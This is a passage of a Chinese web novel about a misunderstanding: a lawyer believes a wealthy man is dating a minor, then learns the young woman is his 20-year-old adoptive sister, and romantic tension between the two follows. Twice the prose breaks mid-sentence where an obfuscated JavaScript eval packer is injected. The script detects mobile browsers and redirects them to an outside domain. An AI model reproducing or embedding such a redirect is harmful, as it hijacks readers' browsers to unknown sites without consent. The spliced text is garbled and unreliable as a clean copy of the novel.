裴清昀笑着甩开她的手:“你别恶心得我待会儿都吃不下饭了。”
在他俩身后不远处,一位穿白色衬衫裙的女孩子静静看着他俩走远,脸色由震惊转为落寞。
谭雅菱自嘲一笑,心想:原来阿昀不是真的要当一辈子独身主义者,他遇到自己喜欢的人了。
21. 误会
池镜心跟着裴清昀进了包厢,陪同前来的保镖都守在了包厢门外。
包厢内部装潢是典雅的中式风格,最里面靠墙的位置放了一张黑胡桃木罗汉床沙发,供客人放手袋等随身物品,墙上装饰着古画,沙发旁的瓷瓶里放了几根桃木枝。
点完菜后,池镜心好奇地东看西看,瓷瓶里那几根桃木枝吸引了她的注意力。她拿起一根桃木枝,发现桃木枝另一头还绑着彩色丝线。
她一脸惊恐地转头看向裴清昀:“哥,这家店不会闹鬼吧?”
裴清昀坐在餐桌旁用手机回邮件,头也不抬地随口敷衍了一句:“没事,你来了鬼就不敢闹了。”
“不是,我认真的。谁家正经餐厅会在包厢里放桃木枝啊?”
裴清昀终于抬起头,瞥了一眼她手里的桃木枝,只觉得她大惊小怪:“这有什么,做生意的都喜欢设风水局,我公公以前还有过一年花上千万养风水师的离谱事迹。”
正好这时一阵凉风吹进包厢内,池镜心大惊失色,跌跌撞撞地跑过去,从背后搂住裴清昀:“有鬼啊!哥哥救我!”
她一只手还拿着桃木枝,另一只手暗戳戳地放在了裴清昀的胸口上。
裴清昀面无表情地夺过她手里的桃木枝,去打她的咸猪手:“你又想挨揍了是不是?”
池镜心反应极快,立马缩回了手,嘻嘻哈哈地一溜烟跑出了包厢。她去了一趟卫生间,在洗手池前洗手的时候,她通过面前的镜子,看到了站在她身旁洗手的另一个女孩子的脸。
池镜心愣了一下。这个穿白色衬衫裙的女孩子她见过。她扮啤酒妹那晚,坐在裴清昀身旁的就是这个女孩子。
谭雅菱察觉到了池镜心的打量,转过头对着她礼貌地笑了笑。
她没认出来池镜心就是那晚那个啤酒妹。骆品谦和何咏晴举办派对的那晚,她恰好有事没去,因此也并不知道眼前这个天使长相的女孩子是裴清昀的妹妹。
她认定了,这个女孩子是裴清昀正在交往的女朋友。如果不是女朋友,这女孩怎么敢去拉裴清昀的胳膊?还叫他“阿昀哥哥”?
谭雅菱极力压下心头的酸楚和落寞,快速洗完手正要离开,池镜心把她叫住了。
池镜心:“那个……姐姐,你的裙摆没拉好。”
谭雅菱赶紧低头检查,发现她身后裙摆的一角掖进内裤里了。一定是刚才她满脑子都在想着裴清昀居然有女朋友了,心神恍惚,连裙摆没整理好都不知道。
谭雅菱尴尬不已,赶紧把裙摆重新整理了一下。
“谢谢啊。”她强撑起笑容,跟池镜心道了声谢。
“没事。”
谭雅菱看着眼前这个女孩子,漂亮是漂亮,但长相也太稚嫩了,声音也嫩,说是中学生她也信。
她心头泛起一丝疑虑,想问问这个女孩子到底多大了,但直接问女生年龄是很不礼貌的,于是她换了一种问法:“你看起来好小啊,读大学了吗?”
池镜心摇了摇头,诚实地答道:“还没。”
轰的一声,谭雅菱感觉自己的脑子被雷劈开了。
裴清昀居然交往了一个中学生!一个未成年人!这也太……太……
虽然她不想这么说自己暗恋多年的男神,但这种行为真的很变态啊!他都二十七岁了!都奔三的人了!怎么可以对这么小的女孩子下手!
身为执业大律师,谭雅菱严重怀疑裴清昀是不是违法了。港岛的性同意年龄是十六岁,要是眼前这个女孩子还不满十六岁,那他岂不是……想到这里,谭雅菱拳头都硬了。
池镜心洗完手,便离开了卫生间。谭雅菱踌躇片刻,跟在了她身后。
池镜心听见身后的脚步声,没多想,以为这位小姐姐的包厢跟她的包厢恰好在同一个方向。
她走到包厢门口,守在门外的保镖主动帮她把门打开。
她一眼就看到裴清昀坐在餐桌后,面无表情地盯着她,他手里还拿着那根桃木枝,正有一搭没一搭地轻敲着左手掌心。看这架势,似乎还想把她收拾一顿。
池镜心大惊,脱口而出:“你还想打我啊?!”
跟在她身后几步远的谭雅菱听到这句话,表情都裂开了。裴清昀不仅交往未成年人,还曾暴力对待过对方!这还是人吗?!
裴清昀正要说“我这是正当防卫,防你的咸猪手”,还没来得及开口,谭雅菱就冲到了包厢门口,怒火滔天地咆哮了一句:“Atticus!你真不是东西!”
保镖眼疾手快地将谭雅菱拦在了包厢门口,不让她进去。
池镜心一脸迷茫:“你们认识?”
她这是误入什么前女友痛骂渣男的战场了吗?
裴清昀也一脸迷茫:“Evelyn?你怎么在这?”
她干嘛冲上来骂他?他什么时候得罪这位老同学了?
裴清昀冲保镖挥了挥手,保镖会意,不再拦着谭雅菱。
谭雅菱走进包厢,指着裴清昀破口大骂:“我真是瞎了眼!这么多年了都没看出来,你是个人面兽心的禽兽!”
裴清昀:“……我干什么了?”
他那迷茫无辜的表情,成功让谭雅菱的怒火燃得更旺了。
她气得一拍桌子,一顿疯狂输出:“你还有脸问你干什么了!你都二十好几的人了,跟未成年人交往,还对人家使用暴力!”
她抬起手,指向站在一旁的池镜心,“这么小的小女孩,你也下得去手!你还有没有人性?枉我喜欢你这么多年,还一直以为自己不够优秀,配不上你,没想到是你配不上我!你这种败类只配进监狱!”
将人痛骂一通,谭雅菱尤嫌不过瘾,她端起餐桌上的茶杯,将满满一杯茶往裴清昀脸上泼去。裴清昀侧身躲了一下,没完全躲过去,右肩还是被淋湿了一大片。
谭雅菱将茶杯一扔,潇洒转身离去。
裴清昀:“……”
池镜心:“……”
现在包厢里就剩他俩了。两人面面相觑,池镜心莫名感到心虚。
果然,下一秒裴清昀就起身走到她面前,抬起手一把掐住她的后颈,胁迫意味十分明显。
“你都跟她说什么了?”裴清昀脸色森寒,目光如冰锥般,扎得池镜心浑身一激灵。
“我……我没说什么呀。”池镜心一脸无辜,事实上她真觉得自己特别无辜,她确实没说任何不该说的。
裴清昀一字一顿:“你跟她说你未成年?说咱俩在交往?还说我打过你?”
“没有!”池镜心疯狂摇头,“我什么都没说!只是在卫生间洗手的时候,她问我读大学没,我说还没有!我哪知道她脑补出了那么多信息啊!”
裴清昀火冒三丈:“你怎么不跟她说清楚,你都二十了!两年前就考过大学了!只是没考上而已!”
池镜心委屈至极:“我压根都不认识她,跟她说这么多干嘛?你干脆让我把银行卡密码也告诉她好了!”
这头两人吵得有来有回的,另一头谭雅菱走了没几步路,忽然暗道一声糟糕。
她真是气糊涂了,怎么能发完火就直接走人呢?裴清昀肯定会迁怒到那个小女孩身上的,搞不好还会打她出气。她应该把那个小女孩带走,给她提供庇护和法律援助。
谭雅菱果断转身,又朝池镜心和裴清昀所在的包厢走去。
她刚回到包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111240|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厢门口,就看到裴清昀掐着池镜心的后颈,恶狠狠地骂她:“还敢顶嘴!都是你惹出来的破事!”
谭雅菱尖叫一声,轮起手袋就向裴清昀身上砸去:“不许再欺负她!”
裴清昀闪身躲过手袋攻击,一脸无奈地解释:“不是你想的那样,都是……”
“误会”两个字还没说出口,谭雅菱就抓起池镜心的手,拽着她一溜烟跑没了影。
裴清昀:“……”
这出闹剧到底有完没完?怎么还带返场的?
他疲惫地抹了一把脸,沉默半晌,突然觉得这个包厢是有点邪门,搞不好真闹鬼。
谭雅菱拉着池镜心一口气跑进了电梯,然后低着头用手机给同事们发消息,告知他们今晚她突然有事,不能和他们一起聚餐了。
池镜心站在她身旁,默默祈祷包厢里的裴清昀不要气得把桌子都掀了,她还想吃那些菜呢。
“姐姐,你想带我去哪?”池镜心小声问。
谭雅菱头也不抬地发消息,腾出一只手安抚地拍了拍池镜心的胳膊:“姐姐带你去一个安全的地方,别怕啊,姐姐会保护你的。先让姐姐发完消息。”
池镜心:“……”
等谭雅菱将消息发送完,电梯门也打开了。她拉着池镜心一路小跑,进了一家咖啡馆。
谭雅菱点了两份简餐,找了个角落和池镜心面对面坐了下来。
她用温和怜爱的目光看向池镜心:“我叫谭雅菱,你叫我雅菱就好。妹妹你怎么称呼?”
池镜心:“我叫池镜心,叫我阿心就行。”
谭雅菱:“阿心,你满十六岁了吗?”
池镜心:“……我都满二十了。”
“哈?!”谭雅菱下巴都快掉到了桌子上,“不可能!绝对不可能!你这长相,绝对不到二十!”
池镜心平生第一次为自己的长相感到一丝难堪:“真的,我只是长得显小罢了。不信你看我的身份证。”
港岛居民都会随身携带身份证,如果被警察截查,无法出示身份证明文件,又给不出合理解释,是会被罚钱的。
池镜心从银包里掏出身份证,递给了谭雅菱。
谭雅菱接过去一看,瞳孔都震动了:“真的满二十了!这……”
她反复将眼前池镜心的脸和身份证上的照片进行比对,终于打消了关于年龄的疑虑,将身份证还给了池镜心。
“好吧,虽然Atticus没有侵犯十六岁以下未成年人,但他对你使用了暴力手段,这同样是违法的!
你别怕,我是执业大律师,经常帮弱势群体打官司,在这方面我是有经验的。就算Atticus再怎么权势滔天,我都一定会帮你讨回公道。”
迎着谭雅菱坚定的目光,池镜心内心那叫一个五味杂陈。
原来这位漂亮姐姐这么年轻就已经是执业大律师了,还经常帮弱势群体打官司,真是人美心善能力强,跟她这种大学都考不上的废物完全不是一个世界的人。
刚才雅菱姐姐跟裴清昀吵架的时候,还说她喜欢裴清昀很多年了。阿昀那家伙何德何能啊,居然能被这么优秀的女孩子喜欢这么多年。
虽然他俩现在还没在一起,但应该迟早会在一起的。没有人会不喜欢这么人美心善能力强的女孩子。如果她是男的,她都会疯狂爱上雅菱姐姐的。
池镜心低下了头,她的心脏被一种突如其来的难过的情绪给击中了。她不明白自己此刻为什么会如此难过。
明明她只是贪图她那便宜哥哥的美色,想睡他而已。但为什么她一想到阿昀以后会跟这么优秀的女孩子在一起,心脏就跟被子弹洞穿了一样呢?
22. 亲密
池镜心沉默片刻,蓦地恍然大悟,她才不是因为裴清昀而难过的呢!她只是因为自己远不如雅菱姐姐优秀而自卑罢了!肯定是这样!
没关系,只要她的推理小说火了,她就不用这么自卑了。她还年轻,才刚满二十岁,将来总有机会出人头地。
“阿心,你还好吧?”谭雅菱见她一直低着头不说话,有些担忧地问。
池镜心回过神来:“我没事。其实……”
她深吸一口气,将真相全盘托出:“我没有和阿昀交往,我是他妹妹,他是我妈咪的契仔,我都认识他二十年了。他也没有打过我,我俩那是闹着玩的,就是普通兄妹间的那种打闹而已。”
一口气解释完,她抬眼看向谭雅菱,眼里满是心疼和不忍。
谭雅菱整个人都呆滞石化了。过了半晌,她颤抖着声音问:“所以……从头到尾都是一场误会?”
池镜心一脸沉痛地点了点头。
谭雅菱哇的一声就哭出来了,越哭越大声,越哭越崩溃。
池镜心慌忙翻出纸巾递给她:“姐姐你别哭呀,这不是好事嘛。你喜欢的人并不是衣冠禽兽,你应该高兴呀。”
谭雅菱哭得上气不接下气:“高兴什么呀,我都想跳楼了!这辈子就没这么社死过!我刚才还跟Atticus说我喜欢他好多年了,呜呜呜以后我都没脸见他了!”
“怎么会?”池镜心不解,“喜欢一个人就是要让对方知道呀,难道你从来没跟他告白过?”
谭雅菱摇了摇头:“他说他是独身主义者,我当然就不能跟他告白了,要尊重人家的人生选择嘛。”
“啊?”池镜心还是第一次听说裴清昀是独身主义者,怪不得他私生活那么简单干净,连那些无良的八卦媒体都很少编排他的绯闻。
同时她又忍不住感叹,雅菱姐姐素质真是高啊,仅仅因为裴清昀自称是独身主义者,她就藏起了自己多年的暗恋心绪,生怕给对方带去困扰。
跟谭雅菱一比,池镜心只觉得自己就是个素质低下的下流胚子。她要是早知道裴清昀是独身主义者,只会更兴奋更肆无忌惮地引诱他。
还有什么能比让一个高冷禁欲的人打破禁忌,主动沉沦更刺激的呢?光是想想她都能爽到头皮发麻……
池镜心轻咳一声,竭力让自己从那些满是黄色废料的幻想中清醒过来。她问谭雅菱:“他为什么要当独身主义者?”
“不知道。虽然我也很好奇,但这种事涉及隐私,我怎么好问他。”
池镜心点了点头,再次默默感慨,雅菱姐你素质也太高了吧!你简直就是人类之光!世界因你而更美好!
“雅菱姐,你有没有想过,也许你主动告白后,阿昀就会放弃当一个独身主义者呢?毕竟你各方面条件都这么好,人美心善,正义感超强,还年纪轻轻就当上了大律师,谁会忍心拒绝你呢?”
池镜心这番话并不是虚假的恭维,她是真的挺敬佩谭雅菱的。
当谭雅菱误以为自己喜欢多年的人是个人渣,她没有丝毫犹豫就直接跟他翻脸,坚定地站在池镜心这边。
这样的举动虽然有些鲁莽,但其实非常考验一个人的正义感和决心。多少明星塌房了,粉丝都还是捂着耳朵不愿相信事实,毕竟那么多年的感情,岂是说放下就能放下的。
但谭雅菱说放下就能放下,她是会为了维护正义而果断舍弃个人情感的那种人。这种品质在人群之中非常罕见,池镜心几乎要把她当成女神来崇拜了。
谭雅菱被夸得都不好意思了:“我哪有那么优秀。再说Atticus比我优秀多了。
我和他小学时读同一个国际学校,是同班同学,后来他不断跳级,等我们在大学校园里重逢时,他都已经在读博了,我还在读本科。
再后来他自己创业也做得非常出色,就算没有被他家长辈叫回去继承家业,他现在至少也是个科技圈新贵了。”
池镜心听完这番话,又开始难过了。小时候她只知道她的便宜哥哥很会读书,经常跳级,没想到他居然这么厉害。怎么大家都这么优秀,只有她生来就是块叉烧……
服务生将简餐端了上来。谭雅菱哭累了,也饿惨了,大口大口地吃了起来。池镜心也陪她吃了几口垫了垫肚子。这期间她收到一条裴清昀发来的消息。
裴清昀:【我回渣甸山了,你待会儿也直接回家吧,可以叫司机过去接你。】
池镜心叹了口气,今晚那顿心心念念的豪华大餐,到底还是泡汤了。也不能怪裴清昀,他被泼了一身茶水,以他的洁癖程度,是肯定要立刻回家洗澡换衣服的。
谭雅菱吃了大半盘简餐,饥饿感已经消失。她放下叉子,忧郁地叹了口气,目光空洞地发呆。
池镜心见她这个样子,还怪心疼的,便主动跟她说:“阿昀已经回家了。我最近都住他那儿,待会儿你跟我一起去他家吧,当面跟他道个歉,这事就算过去了。放心,有我帮你打圆场,场面不会太尴尬的。”
谭雅菱犹豫了片刻。现在让她再去见裴清昀,她真的会想找一条地缝钻进去。但她跟裴清昀迟早还要打照面的,远的不说,过两个月骆品谦和何咏晴举办婚礼,她和裴清昀可是要过去当伴娘伴郎的。
阿心的提议其实很有道理,与其拖泥带水,不如今晚就立刻过去道个歉,赶紧让这破事翻篇。
谭雅菱把心一横,重重地点了点头:“行,我跟你一起去他家。”
她一脸沉痛的表情,不像是要去道歉,倒像是要去就义。
池镜心亦是忧心忡忡。她那便宜哥哥应该不至于对雅菱姐姐发火,倒是极有可能拿她出气。今晚少不了挨顿骂了。
池镜心把裴家的司机叫了过来,跟谭雅菱一起上了车。
到了裴清昀家,池镜心左瞧右瞧,没看到裴清昀人影。温迪见来了客人,走过来招待谭雅菱。
池镜心问温迪:“温迪姐,阿昀人呢?”
温迪:“裴先生在主卧。”
池镜心安抚地拍了拍谭雅菱的手:“你坐下喝点东西,我上楼叫他去。”
“好。”谭雅菱坐到沙发上,姿态端庄,表情镇静,其实脚趾已经快把鞋底给挖穿了。
池镜心上了楼,凭借之前裴清昀带她上楼参观留下的印象,很快就找到了裴清昀的卧室。
“阿昀,你出来一下。”她敲了两下门。
门里没有丝毫动静。
池镜心提高声音继续喊:“哥!裴清昀!雅菱姐姐来了,你倒是下去见见人家呀!”
门里还是没有丝毫动静。
池镜心有些急了,什么称呼都喊出来了:“狗狗!Atticus!阿提卡斯先生!请像个男人一样走出来,去楼下跟雅菱姐姐谈谈!不要让人家女孩子一直等你!有点绅士风度行不行?”
门里始终没有任何回应,池镜心忍不住有些担心他了:“哥,你不会正躲在被窝里,咬着小被角哭哭吧?你别哭啦,今晚你是受了很大委
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125018|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屈,但现在雅菱姐姐已经来找你道歉了,你给人家一个台阶下嘛。”
此时正在浴室里洗澡的裴清昀:“……”
天知道他有多想冲出去,在那孽障的嘴巴上狠狠缠上几圈胶带,将她那张破嘴死死封住。
他强忍着窝囊气,迅速冲洗干净身体,然后找吹风机吹头发。
门外的池镜心已经戏瘾大发,一边拍门一边哭嚎:“哥,你别不是死了吧?不要啊!你还年轻,长那么帅,还那么有钱,何必为了一点小事想不……哎唷!”
池镜心正伸手去拍门,裴清昀却在这时来到了门后,浑身裹挟着怒气猛地将门打开。
池镜心那一巴掌没能落到门上,她整个人重心不稳,猝不及防地往前趔趄了一下,撞进了裴清昀怀里。
她脑子完全懵住了。过了两三秒钟,她深吸了一口气,脑子里的第一反应是:好香啊,好清新的水汽,好像还有一种说不清道不明的气息,是荷尔蒙吗?
她的手指无意识地动了动,大脑紧跟着发出疑问:她摸到了什么?好有弹性,好好摸,再掐一把……
她视线转移,当看清自己的手正在抓裴清昀的胸肌时,她悚然一惊,瞬间浑身发烫,头顶几乎可以冒蒸汽。
裴清昀也懵了。
虽然重逢以来,池镜心就喜欢口头上占他便宜,甚至试图对他动手动脚,但她并没有真的得逞过。他俩其实从未有过超出兄妹界限的亲密接触。
现在,池镜心整个人都跌进了他怀里。他能感受到柔软的触感,发烫的温度,还有清甜的水果香气。这是阿心最近很喜欢的一支香水,清新酸甜的热带水果味,很明朗愉悦的少女气息……
轰的一声,他浑身的血液都涌上了头顶。
他头脑昏聩,浑身发烫,直到池镜心的手指掐着他的胸肌,锋利的指甲把他都掐痛了,他才猛然回过神来,一把将她推开。
按理说他应该把她训斥一顿的,但此刻不知道是怎么回事,他完全想不起来要骂她。
他的心脏被各种复杂的情绪缠缚着,震惊、羞耻、惭愧、恐慌、懊恼、无地自容……种种糟糕的感受如毒素入侵,他被毒哑了,无法说出一个字。
池镜心以为自己肯定会挨一顿骂的。她睁着漂亮清澈的大眼睛,呆呆地望着裴清昀,等着他那火山般的怒气喷涌而出。
没想到裴清昀也只是一动不动地盯着她,目光十分复杂,平时冷白如雪的皮肤已经泛起了大面积的薄红。
两人跟傻子一样痴呆对望数秒,裴清昀面无表情地关上了门。他转身走向卫生间,打开洗手台上方的水晶水龙头,反复捧起冷水泼自己的脸。
池镜心被关在门外,足足愣了好几秒钟,才重启大脑。
刚刚她的便宜哥哥是不是脸红了?确实是脸红了吧?整个人都快红透了。他为什么没骂她?他是不是不好意思了?他为什么不好意思?难道……
池镜心瞳孔震颤,得出了一个不可思议的结论:她的便宜哥哥对她有感觉!他起反应了!
池镜心顿时激动不已。这段时间裴清昀在她面前一直不苟言笑,清高正经得不得了。她还以为这辈子都不可能把他拐上床了,她都几乎要放弃了。
谁知道这个闷骚狐狸精,明明对她有生理反应,只是死装着不肯承认罢了。
她眯起眼睛,兴奋地磨着后槽牙,已经在盘算日后将裴清昀拐上了床,要怎么狠狠收拾他一顿,看他还敢不敢在她面前装相拿乔。
23. 调查
裴清昀再次把卧室门打开时,他的脸色已经恢复成冰山般的冷白。他垂眸看向站在门口的池镜心,眼底寒气凛冽,仿佛要把她冻成冰棍。
池镜心笑得不怀好意:“你刚才干什么去了?”
裴清昀:“被你的脏爪子碰到了,我嫌恶心,去清洗了一下。”
池镜心狡黠地眨了眨眼睛:“嫌恶心?那你为什么会脸红?”
裴清昀面色不改:“被你给气的。”
池镜心哼笑了一声,眼底满是嘲讽。裴清昀没再搭理她,直接下了楼。
谭雅菱已经坐在客厅沙发上等候多时,脚趾抠地都快抠到痉挛了。见裴清昀终于下来了,她呼吸一紧,立刻站起来,对着裴清昀鞠了一躬。
“对唔住啊,Atticus。阿心已经跟我解释过了,今晚从头到尾都是一场误会。都怪我太鲁莽了,我们认识这么多年了,我不应该质疑你的品行的。”
裴清昀脸色稍缓:“没事。其实Evelyn你并没有做错什么。阿心是我的妹妹,如果她真的被居心不良的人缠上,有你这样有勇气有正义感的人为她出头,我会很感激的。”
谭雅菱终于松了一口气,先前的羞愧不安已经烟消云散,她甚至还有些开心。Atticus夸她有勇气有正义感诶~不愧是她暗恋了这么多年的男神,不仅三观正,还情商高。
裴清昀:“你吃过晚饭了吗?我让厨师去弄点吃的。”
谭雅菱连连摆手:“不用了不用了,我已经吃过了。我还有事,就不打扰你了。”
裴清昀点了点头,也不强留:“行,那我让司机送你。”
谭雅菱离开后,裴清昀转头看向刚从楼上下来,瘫在沙发上的池镜心,脸色又恢复冷漠:“你吃过晚饭了吗?”
池镜心有些不爽:“刚才你跟雅菱姐姐说话时还和颜悦色的,一跟我说话就板着个死人脸,我欠你的啊?”
裴清昀:“看来你已经吃撑着了。那我打包带回来的那些菜,你也不用吃了。”
池镜心立马眼睛一亮:“你把我点的那些菜都打包带回来了?!”
裴清昀:“废话。钱都花了,总不能一口没吃就扔那吧。”
池镜心顿时心花怒放。裴清昀这样的洁癖患者,被人泼了一身茶水后,居然没有直接回家洗澡换衣服,而是还记得把她点的菜都打包带走,他是在乎那点饭钱吗?他是不想她因为没吃到心心念念的美食而难过!
她开心到在沙发上打了个滚,又朝裴清昀扑过去,张开双臂作势要抱住他,假甜假甜地撒娇:“哥哥真好!”
裴清昀抬手抵住她的肩膀,不让她抱:“吃你的饭去。”
厨师把裴清昀带回来的食物都热了一遍,端到了餐桌上。池镜心和裴清昀都在餐厅坐了下来,开始吃这顿迟来的晚饭。
池镜心先前在咖啡馆虽已吃过简餐,但那盘沙拉实在太过清淡,她只吃了几口就作罢了,压根就没吃饱。这会儿面对一桌子丰盛的菜肴,都是她喜欢吃的,她整个人都化身成饕餮了,埋头一顿狂吃。
裴清昀坐在她对面,端起气泡水轻抿一口。他的举止之文雅,与池镜心的吃相之粗鲁,形成了鲜明对比。
他静静地看着池镜心吃饭,她嘴里塞满了食物,将带着婴儿肥的白嫩小脸都撑变形了,浅粉色的嘴唇上还沾着些褐色酱汁,腮帮子一鼓一鼓地咀嚼个不停,像只小仓鼠一样。
她把嘴里的食物都咽了下去,端起果汁咕咚咕咚喝了几大口,然后扯着嗓子歌颂自己的便宜哥哥:“世上只有哥哥好,有哥的阿心像块宝~不对,我妈咪才是最好的,我妈咪跟我天下第一好,你跟我天下第二好。”
裴清昀没有训斥她豪放粗野的行径,只是笑了笑。此刻他莫名觉得心情很好,甚至感受到了一种温馨安宁的氛围。
用餐时间是传达家庭温暖的主要时刻之一。然而裴清昀这辈子从没有享受过家庭的温暖。
小时候他跟着生母裴蕴仪在欧洲生活,裴蕴仪不是忙着搞艺术,就是忙着搞男人,几乎从不与他一起吃饭。
后来来到港岛,他公公婆婆工作应酬忙,也鲜少同他一起吃饭。
就算赶上每月一次的家族聚餐,他和公公婆婆以及舅父一家坐到同一张餐桌旁用餐,那氛围也是严肃沉闷的,要时刻注意用餐礼仪,要时刻准备好应对长辈关于学业的询问,还不如一个人吃来得轻松自在。
自从阿心搬来和他同住,虽然他隔三差五就会被她气得头昏脑涨,但也多了很多温馨的时刻,比如现在,一边吃饭,一边听她那荒腔走板的歌声。
他脑子里甚至冒出了一个念头:其实跟阿心一直同住下去也挺好的。
下一秒他就立刻否定了这个荒谬的想法。开什么玩笑,孤男寡女岂可长期共处一室。今天阿心不小心扑到他身上,就是本不应该发生的越界行为。
等阿心考上大学,他就立刻从这套独立屋搬出去,把这里留给她一个人居住。
时间很快来到周六,池镜心之前就约好了周六要和何咏晴一起出去玩,一大早她就精心打扮了一番,给自己化了个淡妆,涂上粉嫩的蜜桃色口红,换上一条蓝色碎花连衣裙。
一番折腾下来,她来到餐厅的时间比平时晚了一会儿,裴清昀已经快吃完早餐了。
裴清昀打量了她一眼,问:“今天有约会?”
池镜心拉开椅子坐下:“今天要跟咏晴姐姐出去玩。”
裴清昀:“下周就是嘉嘉的生日宴了。今天你抽点时间出来,我带你去买礼服和首饰。”
池镜心伸出一根手指,左右摇了摇,语气十分装腔作势:“Nonono,今天不行,今天一整天我都只属于咏晴姐姐一个人。”
裴清昀:“……”
不知道为什么,每次看到她跟个小舔狗一样咏晴姐姐长咏晴姐姐短的,他就一阵烦躁。
池镜心吃着早餐,飞快瞄了一眼便宜哥哥难看的脸色,主动提议:“明天吧,明天一起去买那些有的没的,好不好?”
裴清昀:“明天我要去外地出差,就今天买。既然你没空,我就随便给你挑几样了。”
“行。”池镜心随口敷衍道。
她三两口吃完饭就出门了,来到跟何咏晴约好的见面地点,正好何咏晴也刚到。
“咏晴姐姐!”池镜心跟小狗见到主人一样,摇着尾巴就扑上去了,给了何咏晴一个大大的拥抱。
何咏晴笑呵呵地从手袋里取出一个手工钩针小包,草莓造型,非常可爱。
“阿心,我给你带了一个小礼物,是我自己做的小包,”
池镜心两眼都在发光:“哇,这个包包好可爱,咏晴姐姐你手好巧。”
“走,我们先去买点喝的,然后去做美甲。”何咏晴挽着池镜心的手臂,带她去附近商场的奶茶店。
买完奶茶出来,前方离她俩几十米远的距离,一个女孩子忽然倒在了地上。
何咏晴吓了一跳:“呀,那个女孩子怎么了?”
她立刻跑了过去,蹲到陌生女孩面前询问:“你怎么了?要帮你叫救护车吗?”
陌生女孩双眼紧闭,有气无力地说了三个字:“低血糖。”
何咏晴没有丝毫犹豫,立刻将自己刚买的奶茶插上吸管,喂到陌生女孩嘴里。
陌生女孩靠在何咏晴怀里,大口大口喝了半杯奶茶,柔柔弱弱地小声说:“谢谢,我好些了,但还是头晕难受,你能送我去医院吗?”
池镜心站在一旁默默看着,有些想笑,但忍住了。这个陌生女孩是由事务所同事向思移扮演的,平时向思移做事风风火火大大咧咧的,这会儿装起柔弱小可怜来,还怪有喜剧效果的。
何咏晴:“我帮你叫救护车吧。”
向思移:“不不不,我没有港岛身份证,叫救护车要花好多钱。这附近就有一家医院,你送我过去好不好?”
池镜心装模作样地劝何咏晴:“咏晴姐姐,我们刚才买奶茶已经耽误了好长时间,预约的做美甲时间马上就要到了。”
向思移立刻体贴地表示:“啊,那我不耽误你们了,你们走吧,不用管我。”
何咏晴转头对池镜心说:“阿心,我们先送她去医院,美甲做不成就算了,救人要紧。”
“好吧。”
池镜心和何咏晴一左一右,将向思移搀扶起来,送去了附近一家公立医院。
港岛的公立医院急症室要先交钱,再分流,排队。向思移一进医院就“哎呀”了一声:“我手机和钱包都不见了,待会儿我怎么付钱呀?算了算了,我不治了。”
她转身要走,何咏晴将她拉住了:“我去取些现金给你。阿心,你照顾她一会儿,我马上回来。”
池镜心:“哦,好。”
何咏晴离开后,向思移一改刚才病怏怏的样子,大大咧咧地将胳膊搭到池镜心肩膀上,感叹道:
“这个何咏晴人也太好了。骆品谦不知道修了几辈子的福,能遇到一个这么优秀又心地善良的女朋友。骆家到底还在怀疑什么呀?这家人怕不是有疑心病吧?”
池镜心叹了口气:“我都觉得骆家根本配不上她。骆家都几十年不做实业了,一直在吃老本。越是走下坡路的家族越爱端个臭架子。”
向思移:“我走了,今天我的任务已经完成了。”
何咏晴取完现金回来时,只看到池镜心一个人站在急症室登记处。
何咏晴:“怎么就你一个人?刚才那个女孩子呢?”
池镜心:“刚才她遇到她亲戚了,她亲戚说这家医院要排队好长时间,带她另一家私人诊所了。”
“哦,”何咏晴不疑有他,将刚取出的现金收了起来,“那我们去做美甲吧,现在只迟到了几分钟,店员应该不会跟我们计较的。”
池镜心其实对美甲不感兴趣。到了何咏晴常去的那家美甲店,她随便挑了个简单的款式,便和何咏晴坐一起聊天。
两人聊得正开心,池镜心手机响了。她瞄了一眼,是裴清昀打来的电话。
她抬起美甲做到一半的爪子,小心翼翼地抓起手机,接通了电话,没好气地问:“打我电话干嘛?”
裴清昀的声音听起来也颇有几分不爽:“给你发了多少条消息了,一直不回复,我还以为你人没了。”
池镜心:“……你才没了呢!我和咏晴姐姐正在做美甲!不方便看手机!”
裴清昀没再跟她废话,直接问正事:“你戴多少码的戒指?”
“美码五号。”
她话音一落,裴清昀就把电话挂了。池镜心只觉得莫名其妙,不知道他在不爽什么。
她翻了一下手机,发现原来从一个小时前裴清昀就在不停地给她发消息了。
【你想要什么颜色的鸡尾酒礼服?】
【这家店有一套现货,是祖母绿高珠,你喜欢祖母绿吗?会不会有点老气?】
【这套钻石的你应该会喜欢吧?风格挺年轻的。】
【这两套现货,月桂叶和太阳花,你想要哪一套?】
【人呢?还活着没?】
【再不回消息我就随便乱买了。】
……
池镜心看着他发过来的那些璀璨夺目豪无人性的珠宝图片,倒吸一口冷气。裴清昀给她发了两套钻石高珠让她选,一套是月桂叶系列,另一套是太阳花系列,都是奢华与艺术的完美结合。
池镜心终于知道他为什么生气了,他今天这是要破大财呀。结果花这么多钱,不仅没从她这得到情绪价值,她还一点都不配合,他生气也挺正常。
她觉得两套都挺好看,便随便回了一句:【就太阳花那套吧。】
裴清昀回得很快:【晚了,我已经买了月桂叶系列了。】
池镜心无所谓地耸了耸肩:【也行,反正两套都好看。】
裴清昀没再回复她。
